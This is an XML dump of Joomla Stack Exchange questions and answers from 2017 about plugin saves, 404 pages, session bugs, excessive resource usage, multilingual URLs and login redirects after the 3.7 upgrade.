  <row Id="20654" PostTypeId="2" ParentId="20638" CreationDate="2017-04-27T18:43:02.750" Score="1" Body="&lt;p&gt;I think it's possible to implement, but it's very tricky. There is no system event triggered on plugin save. There is such events for content items - onContentBeforeSave, onContentAfterSave, but there is not for plugin options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The tricky idea is to check with the URL if current action is your plugin save action. You'll not be able to interrupt it, but you'll be able to revert changes later. I'm able to create such methods, but have no ready solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So here is some code you can use as a reference.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a fuctnion to check if the current action is plugin save action (works together with the construct method in this class, which sets some internal variables like &lt;code&gt;$this-&amp;gt;plg_full_name&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/gruz/GJFields/blob/master/helper/plugin.php#L74&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/gruz/GJFields/blob/master/helper/plugin.php#L74&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next here I run the method&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/gruz/NotificationAry/blob/master/notificationary.php#L214&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/gruz/NotificationAry/blob/master/notificationary.php#L214&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;which sets a boolean flag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And here if the plugin has been just saved a run a function&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/gruz/NotificationAry/blob/master/notificationary.php#L219&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/gruz/NotificationAry/blob/master/notificationary.php#L219&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That function loads plugin options&#xA;&lt;a href=&quot;https://github.com/gruz/NotificationAry/blob/master/notificationary.php#L4249&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/gruz/NotificationAry/blob/master/notificationary.php#L4249&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So at that point you may get just saved options, check it with your methods and if something is wrong null the parameter and resave it to extensions table. And call a regular Joomla message saying something bad. Or even redirect to the plugin edit page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe you should better use some custom field with ajax to check the field on the fly before the plugin save. It would be better as for me. &lt;/p&gt;&#xA;" OwnerUserId="8616" LastActivityDate="2017-04-27T18:43:02.750" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20655" PostTypeId="1" CreationDate="2017-04-27T19:31:17.677" Score="0" ViewCount="242" Body="&lt;p&gt;I have a Joomla installation which is on 3.6.5 and working on upgrading to 3.7. While carrying out a test upgrade on a dev version of the site, I got presented with an error about the contenthistory component not being found, when editing an article. Here it is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/92qZT.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/92qZT.png&quot; alt=&quot;Joomla 3.7 message about missing component&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I went back to my 3.6.5 installation, which doesn't display any error on articles, and clicked on the &quot;Versions&quot; button, to find an error there too &quot;Component not found&quot;. Here it is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/0VDVb.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/0VDVb.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I don't know how long this has been broken for, since I don't make use of old versions very often, but need to get this fixed. Can anyone suggest what might have gone wrong? What to look for? And how to fix it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerDisplayName="user9210" LastActivityDate="2024-03-04T07:04:15.497" Title="Content History Component Not Found" Tags="|joomla-3.x|component|articles|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20656" PostTypeId="2" ParentId="20655" CreationDate="2017-04-27T21:58:17.603" Score="0" Body="&lt;p&gt;It sounds to me like something's gone awry in your database at some point. Since the error is present in 3.6.5 then I'd assume its not related to 3.7.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some possible things to try if you haven't already:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Go to Extensions -&gt; Manage -&gt; Database and try running &quot;fix&quot; (Backup your database before running!)&lt;/li&gt;&#xA;&lt;li&gt;Go to Global Config and turn on Debug System &amp;amp; turn on Error Reporting to &quot;Development&quot; - any errors?&lt;/li&gt;&#xA;&lt;li&gt;Anything relevant in the error logs?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Please post any error messages you find that might help narrow down the issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are you only seeing this error in articles? What about under the Component menu?&lt;/p&gt;&#xA;" OwnerUserId="9710" LastActivityDate="2017-04-27T21:58:17.603" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20657" PostTypeId="1" AcceptedAnswerId="20661" CreationDate="2017-04-28T01:46:47.457" Score="0" ViewCount="214" Body="&lt;p&gt;I have the following code for my 404 it is located in error.php within the template&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($this-&amp;gt;error-&amp;gt;getCode() == '404') { &#xA;  header('Location: /images/masters/404.gif');&#xA;  exit;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I specifically have it looking at an image so it takes up the whole screen, as opposed to an article or the like.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is... how do I have this image become a hyperlink back to the homepage?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried the standard image links without success&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($this-&amp;gt;error-&amp;gt;getCode() == '404') { &#xA;  header('Location: &amp;lt;a href=&quot;/home&quot;&amp;gt;&amp;lt;img alt=&quot;404 error&quot; src=&quot;/images/masters/404.gif&quot; style=&quot;width: 1321px; height: 828px;&quot; /&amp;gt;&amp;lt;/a&amp;gt;');&#xA;exit;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any ideas how I can work the hyperlink into the code?&lt;/p&gt;&#xA;" OwnerUserId="11006" LastEditorUserId="126" LastEditDate="2017-04-28T11:37:56.100" LastActivityDate="2017-04-28T11:45:08.133" Title="Adding a hyperlink to the Joomla 3x custom 404 error page" Tags="|error-handling|error-pages|" AnswerCount="2" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20660" PostTypeId="2" ParentId="20657" CreationDate="2017-04-28T07:46:20.647" Score="1" Body="&lt;p&gt;If you want to use HTML (such as to display an image with a link) then you need to display it in a page that is outputting HTML.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's possible in CSS/HTML to make an image take up the whole screen - linking directly to an image isn't the best way to achieve that effect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could either write a small, static page outside-of-Joomla and redirect to that using &lt;code&gt;header&lt;/code&gt; if you don't feel up to editing &lt;code&gt;error.php&lt;/code&gt;, but it is possible to update the CSS and HTML content of &lt;code&gt;error.php&lt;/code&gt; to output only the code exactly as you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It isn't quite clear what you mean by &quot;I specifically have it looking at an image so it takes up the whole screen, as opposed to an article or the like.&quot; - but &lt;code&gt;error.php&lt;/code&gt; can display any HTML you wish.  It doesn't have to have an article format.&lt;/p&gt;&#xA;" OwnerUserId="1622" LastActivityDate="2017-04-28T07:46:20.647" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20661" PostTypeId="2" ParentId="20657" CreationDate="2017-04-28T11:45:08.133" Score="0" Body="&lt;p&gt;Your approach for dealing with the 404 errors is in a completely wrong direction. First after redirecting directly to the image file, all you have is an image file. So there is nothing html there, so we can't even talk about links and anything else html there. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regarding why your approach is wrong, read this question/answer here: &lt;strong&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/19492/joomla-redirect-without-changing-url/&quot;&gt;Joomla Redirect without changing url&lt;/a&gt;&lt;/strong&gt;, which in its core is very similar to your situation.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2017-04-28T11:45:08.133" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20662" PostTypeId="2" ParentId="9230" CreationDate="2017-04-28T15:14:42.003" Score="1" Body="&lt;p&gt;Just to give you an other idea how we build a similar construct for our joomla based installations around the world:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1.) Go to the &quot;Viewing Access Levels&quot;, and open the &quot;Registred&quot; users ACL menu entry:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/l6iKt.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/l6iKt.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2.) Copy that one and name it &quot;approved-users&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/6ZhTK.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/6ZhTK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3.)&#xA;In the global settings change the default access level to &quot;approved-users&quot;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/NYMO6.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/NYMO6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3.)&#xA;Reconfigure your side (modules, pages, menus, ...) so that only the access level &quot;approved-users&quot; can use them. Here is an example for that section for an module entry:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/McRyK.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/McRyK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;4.)&#xA;You also could configure a default page only for the user group &quot;registred&quot; which said &quot;Sorry, but an administrator need to approve your account, come back tomorrow&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is really no &quot;hack&quot; from some Joomla core files needed ;-)&lt;/p&gt;&#xA;" OwnerUserId="2194" LastActivityDate="2017-04-28T15:14:42.003" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20664" PostTypeId="1" AcceptedAnswerId="20673" CreationDate="2017-04-28T16:53:18.153" Score="1" ViewCount="213" Body="&lt;p&gt;Just today, an issue arised with a Joomla 3.6.5 installation I have.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A user was seeing other connected users' details. Something went wrong with the session table (I suppose, because I checked and there were more records than I expected) and all of a sudden, &lt;strong&gt;this user was able to see and edit other user data, but only in specific pages&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It looked as if it went back and forth between this user's and another user's session.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I updated to Joomla 3.7.0 and another issue came up: Some menu items are &quot;external URLs&quot; which I use as text separators, due to some issues I had with iPads. Their external URL is just a hash (#), to work as a text separator, thus pointing to my home page.&lt;br/&gt;When someone clicks on that link, they are taken back to the home page and &lt;strong&gt;the page looks as if they were logged-out&lt;/strong&gt;, and a prompt to login is back there. If you click on it, nothing happens and you have to use a menu item to navigate back to the site, where &lt;strong&gt;you find out that you are still logged-in&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The user information kept in this site is very sensitive, and suddenly my users see each other's data!&lt;br/&gt;Any help is desperately appreciated.&lt;/p&gt;&#xA;" OwnerUserId="405" LastActivityDate="2017-05-05T20:55:39.343" Title="Joomla 3.6.5 &amp; 3.7.0 Strange User Session Behavior" Tags="|user|access|bugs|" AnswerCount="2" CommentCount="4" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20667" PostTypeId="1" CreationDate="2017-04-29T01:01:12.907" Score="0" ViewCount="96" Body="&lt;p&gt;My site is running on Joomla3.&lt;/p&gt;&#xA;&lt;p&gt;When I load my page for first time everything is fine (the default language is Spanish) -- even if I navigate in menus.&lt;/p&gt;&#xA;&lt;p&gt;However, when I click the English flag and I navigate with the menus then I return to the Spanish language, it doesn't load anything -- everything looks white, the URL looks like this &lt;code&gt;https://mywebsite.com&lt;/code&gt;, the &lt;code&gt;www.&lt;/code&gt; is removed and it also contains the &lt;code&gt;/es&lt;/code&gt; something like this &lt;code&gt;https://mywebsite/es&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;I don't know what to do. I know it's not the update because I when I test locally, everything works fine.&lt;/p&gt;&#xA;" OwnerUserId="8427" LastEditorUserId="12352" LastEditDate="2020-08-15T06:54:21.587" LastActivityDate="2024-01-27T20:07:05.993" Title="Page url is damaged when changing language back to the default language" Tags="|joomla-3.x|multilingual|" AnswerCount="2" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20668" PostTypeId="2" ParentId="20652" CreationDate="2017-04-29T03:09:55.397" Score="0" Body="&lt;p&gt;Check to see if your shared hosting provider auto-updates via Softaculous or whatever they provide for their apps installer. Many do, and yours may have that as the default setting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Either that or maybe you have an extension installed like Auto-Update for Joomla.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each Joomla install updates separately, and these are both options for automatically updating your sites.&lt;/p&gt;&#xA;" OwnerUserId="4047" LastActivityDate="2017-04-29T03:09:55.397" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20671" PostTypeId="1" CreationDate="2017-04-30T14:17:09.757" Score="2" ViewCount="271" Body="&lt;p&gt;&lt;strong&gt;Question:&lt;/strong&gt; How can I track down the source of excessive resource usage on a Joomla site and fix it? Any tips or suggestions?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Details:&lt;/strong&gt; My client's host keeps advising of excessive resource usage on his account. I have scanned the Joomla installation (3.6.5 - I will be updating to 3.7 shortly) using MyJoomla and the site does not appear hacked. There are very few extensions installed and any that are or very reputable, i.e K2, Akeeba etc and all are upto date as is the Joomla installation. I have disabled the none core extensions and the usage was still high (apparently).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The logs that were sent from the host all seem to be files which are not related to Joomla and that I cannot find in the clients account at all. For example:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;/etc/httpd/domlogs/domain.com:222.180.162.81 - - [28/Apr/2017:18:24:25&#xA;  -0700] &quot;POST //plus/myjs.php HTTP/1.1&quot; 200 - &quot;&lt;a href=&quot;http://www.domain.com//plus/myjs.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.domain.com//plus/myjs.php&lt;/a&gt;&quot; &quot;Mozilla/4.0 (compatible; MSIE&#xA;  9.0; Windows NT 6.1)&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Edit: I have just checked the access logs also and the highest number of hits come from the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following are the most prevalent IP's visiting the site in April, the numbers show the number of visits from that IP:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;2380 panscient.com&#xA;2617 MobileSafari/602.1 CFNetwork/811.4.18 Darwin/16.5.0&#xA;2825 MobileSafari/602.1 CFNetwork/808.3 Darwin/16.3.0&#xA;2951 Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36&#xA;3418 Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0&#xA;3529 Safari/12602.4.8 CFNetwork/807.2.14 Darwin/16.4.0 (x86_64)&#xA;3627 Mozilla/5.0 (iPhone; CPU iPhone OS 10_2_1 like Mac OS X) AppleWebKit/602.4.6 (KHTML, like Gecko) Version/10.0 Mobile/14D27 Safari/602.1&#xA;3699 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36&#xA;4184 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36&#xA;4204 Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)&#xA;4211 Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)&#xA;4554 Mozilla/5.0 (compatible; AhrefsBot/5.2; +http://ahrefs.com/robot/)&#xA;4629 Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36&#xA;4807 Mozilla/5.0 (compatible; BLEXBot/1.0; +http://webmeup-crawler.com/)&#xA;6054 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36&#xA;6327 Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko&#xA;8363 Mozilla/5.0+(compatible; UptimeRobot/2.0; http://www.uptimerobot.com/)&#xA;9994 Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1&#xA;10027 Mozilla/5.0 (compatible; SemrushBot/1.2~bl; +http://www.semrush.com/bot.html)&#xA;14472 Mozilla/5.0 (compatible; DotBot/1.1; http://www.opensiteexplorer.org/dotbot, help@moz.com)&#xA;133603 Java/1.8.0_121&#xA;258151 Mozilla/5.0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;These were sorted using the mac terminal, the most concerning being the last 2 lines where it isn't actually clear who/what has been visiting wither 258251 from Mozialla/5.0. I'm going to look at block DotBot and the SEMRush bot but these are nothing in comparison to the last 2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The host is not very good with responding to support requests, I do not even think they read the replies throughly to be honest. Nor do they keep their server software up to date, (still running php 5.6.28) and have ignored any questions I have put to them about why this isn't running 5.6.30. If they cannot even update PHP what else may not be up to date?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, has anyone else experienced anything like this before? I'm running out of ideas and feel this may be related to the host server and nothing at all to do with the Joomla installation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your comments/experiences with this sort of thing would be most appreciated. Anything at all really, even if it is host related and nothing to do with Joomla.&lt;/p&gt;&#xA;" OwnerUserId="7973" LastEditorUserId="115" LastEditDate="2017-05-01T00:44:00.180" LastActivityDate="2018-06-05T04:38:20.750" Title="Excessive resource usage on Joomla site" Tags="|joomla-3.x|hosting|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20672" PostTypeId="2" ParentId="20671" CreationDate="2017-05-01T10:00:21.190" Score="2" Body="&lt;p&gt;I started to comment, but it became somewhat large for a comment, so I am posting it here: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;These access logs are meaningless - I guess that the resource usage warnings appear somewhere in the hosting panel, and it's not something the hosting support staff reported. If it's the latter then cooperate with them for the issue. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;if it's a message you get in the hosting panel, you can still ask for some help from the hosting provider.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If they are not very supportive and you feel they don't fulfill your requirements, then you can look for a new provider. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for the resource usage issue itself, this usually comes from the database. Likely you have heavy/slow executing queries or too many. Sometimes this may be also something in the php - a bad written script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In any case (even if you change hosting provider, or move to a bigger server), you should investigate this. It needs debugging and some experience/knowledge to identify and properly fix such issues.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2017-05-01T10:54:22.823" LastActivityDate="2017-05-01T10:54:22.823" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="20673" PostTypeId="2" ParentId="20664" CreationDate="2017-05-01T12:15:30.917" Score="2" Body="&lt;p&gt;Something is caching data for authenticated users when it shouldn't be.  Generally within the core Joomla extensions, they will only serve cached data to guest users.&lt;/p&gt;&#xA;" OwnerUserId="111" LastActivityDate="2017-05-01T12:15:30.917" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="20674" PostTypeId="1" CreationDate="2017-05-01T19:44:47.463" Score="-1" ViewCount="33" Body="&lt;p&gt;evereody! Please, tell me what should be fixed to put in  a slideshow on the main page to position-3 of Protostar (in stead of default image). On  the other pages it works pretty well. Ive'been using rockspoket module and CK module - the same negative result.  configuration's  attribute are made&lt;br&gt;&#xA;Thank you   &lt;/p&gt;&#xA;" OwnerUserId="11018" LastActivityDate="2018-11-23T15:01:05.187" Title="What should be fixed to put in a slideshow on the main page to position-3 of Protostar, configuration's attribute are made" Tags="|joomla-3.x|configuration|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20676" PostTypeId="1" AcceptedAnswerId="20690" CreationDate="2017-05-01T22:22:07.770" Score="0" ViewCount="156" Body="&lt;p&gt;I'm trying to create some accessibility Skip links to be used with screen readers. I added the links at the top of the body tag and I added a corresponding anchor tag to both the main navigation and the main tag. The links work as expected on the homepage but no matter what page I'm in it will always take me back to the home page anchor links. I inspect the code and it shows &lt;code&gt;href=&quot;#main&quot;&lt;/code&gt; and &lt;code&gt;href=&quot;#main&quot;&lt;/code&gt; so I don't know why they keep sending me to the anchor links on the home page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is fresh install of 3.7; I don't have any 3rd party extensions or plugins installed. I tried with SEF On and Off and I still get the same results. I'm new to Joomla so I don't know if there's a setting I have to turn on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanx&lt;/p&gt;&#xA;" OwnerUserId="9821" LastActivityDate="2019-08-21T12:03:30.457" Title="All anchor tags take me back to home page" Tags="|joomla-3.x|templates|.htaccess-configuration|weblinks|" AnswerCount="3" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20677" PostTypeId="2" ParentId="20671" CreationDate="2017-05-02T02:37:04.160" Score="0" Body="&lt;p&gt;Yo, check out a DNS solution while it would not track the issue it would reduce your server load and will boost your SEO score greatly.&#xA;I am using CloudFlare.com on my Joomla site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am seeing bots running on your site you can either block those bots what could block other bots and reduce your site visibility.&lt;/p&gt;&#xA;" OwnerUserId="11020" LastActivityDate="2017-05-02T02:37:04.160" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20678" PostTypeId="2" ParentId="14363" CreationDate="2017-05-02T02:43:14.777" Score="-1" Body="&lt;p&gt;Just clear your browser cache, no need to edit your PHP files.&#xA;And conical is best set in .htaccess file you know how that works yes?&lt;/p&gt;&#xA;" OwnerUserId="11020" LastEditorUserId="11020" LastEditDate="2017-05-02T02:57:33.203" LastActivityDate="2017-05-02T02:57:33.203" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20679" PostTypeId="2" ParentId="20676" CreationDate="2017-05-02T02:49:43.367" Score="0" Body="&lt;p&gt;If you want Joomla to be compatible with a small screen such as smartphones that will have little effect.&#xA;This is how the templates show your actual content you can either look for a template that is built in such a way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did manage to quick google this if getting the right template will not be of any help: &lt;a href=&quot;http://webaim.org/techniques/skipnav/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://webaim.org/techniques/skipnav/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11020" LastActivityDate="2017-05-02T02:49:43.367" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20680" PostTypeId="2" ParentId="20667" CreationDate="2017-05-02T02:53:31.017" Score="0" Body="&lt;p&gt;Turn off caching in global config. It seems to be not updating your files.&lt;/p&gt;&#xA;&lt;p&gt;I have checked this on my own site and I ended up with /en/ behind the domain name and it was persistent. Then I held &lt;kbd&gt;ctrl&lt;/kbd&gt;+&lt;kbd&gt;shift&lt;/kbd&gt;+&lt;kbd&gt;alt&lt;/kbd&gt; and clicked refresh.&lt;/p&gt;&#xA;&lt;p&gt;Also turn off all language modules and plugins.&lt;/p&gt;&#xA;" OwnerUserId="11020" LastEditorUserId="12352" LastEditDate="2020-08-15T05:08:32.133" LastActivityDate="2020-08-15T05:08:32.133" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20681" PostTypeId="2" ParentId="20674" CreationDate="2017-05-02T05:41:55.777" Score="0" Body="&lt;p&gt;I can fix the problem.&#xA;As a matter of fact i created one more main menu before and deactivated default menu. But I should have selected both pages (my new home page and default home page from deactivated default menu) to put in slideshow module.(Home default page works even deactivated)&lt;/p&gt;&#xA;" OwnerUserId="11018" LastActivityDate="2017-05-02T05:41:55.777" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20682" PostTypeId="1" AcceptedAnswerId="20693" CreationDate="2017-05-02T07:27:40.693" Score="0" ViewCount="660" Body="&lt;p&gt;After upgrading to 3.7 i got an issues with one of my site.&#xA;This site is user only, when trying to access it it should (was until 3.6.x) redirect you to a login page, after the 3.7 upgrade it gives a &lt;strong&gt;The page isn't redirecting properly error&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To recreate the issue just set a new 3.7 joomla installation home menu item to Access = Registered&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://localhost/testjoomla&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://localhost/testjoomla&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;will redirect to: &lt;a href=&quot;http://localhost/testjoomla/index.php/component/users/?view=login&amp;amp;Itemid=101&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://localhost/testjoomla/index.php/component/users/?view=login&amp;amp;Itemid=101&lt;/a&gt; (ERROR)&lt;/li&gt;&#xA;&lt;li&gt;Removing the: &lt;strong&gt;&amp;amp;Itemid=101&lt;/strong&gt; (WORKS)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Tested with php 5.5.30 &amp;amp; 7.1.1&lt;/p&gt;&#xA;" OwnerUserId="7457" LastEditorUserId="7457" LastEditDate="2017-05-02T07:47:59.600" LastActivityDate="2017-05-06T08:13:53.100" Title="Login Redirect Issue after 3.7 upgrade" Tags="|joomla-3.7|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20683" PostTypeId="2" ParentId="20682" CreationDate="2017-05-02T11:46:50.153" Score="0" Body="&lt;p&gt;See answer on github: Blank pages in Joomla 3.7 when System - Page Cache is activated #15691 &lt;a href=&quot;https://github.com/joomla/joomla-cms/issues/15691&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/joomla/joomla-cms/issues/15691&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8525" LastActivityDate="2017-05-02T11:46:50.153" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20684" PostTypeId="2" ParentId="20676" CreationDate="2017-05-02T16:31:20.767" Score="0" Body="&lt;p&gt;This sounds more of the menu configuration that is acting in place. Create a new menu item and set it to some internal page or article and see what happens.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Question for you: Did you install any one-pager templates on your site?&lt;/p&gt;&#xA;" OwnerUserId="6916" LastActivityDate="2017-05-02T16:31:20.767" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20686" PostTypeId="2" ParentId="20671" CreationDate="2017-05-02T16:34:53.553" Score="0" Body="&lt;p&gt;You've mentioned Akeeba on the list of your extensions. Whenever you make use of Akeeba it takes up huge amount of resource to backup your site. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are using it too frequently, you may consider sober gaps to avoid such scenarios. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also if the site does not require frequent backups i.e. does not update very frequently, I would recommend you take backup weekly once only.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please check this and confirm.&lt;/p&gt;&#xA;" OwnerUserId="6916" LastEditorDisplayName="user3831" LastEditDate="2018-06-05T04:38:20.750" LastActivityDate="2018-06-05T04:38:20.750" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
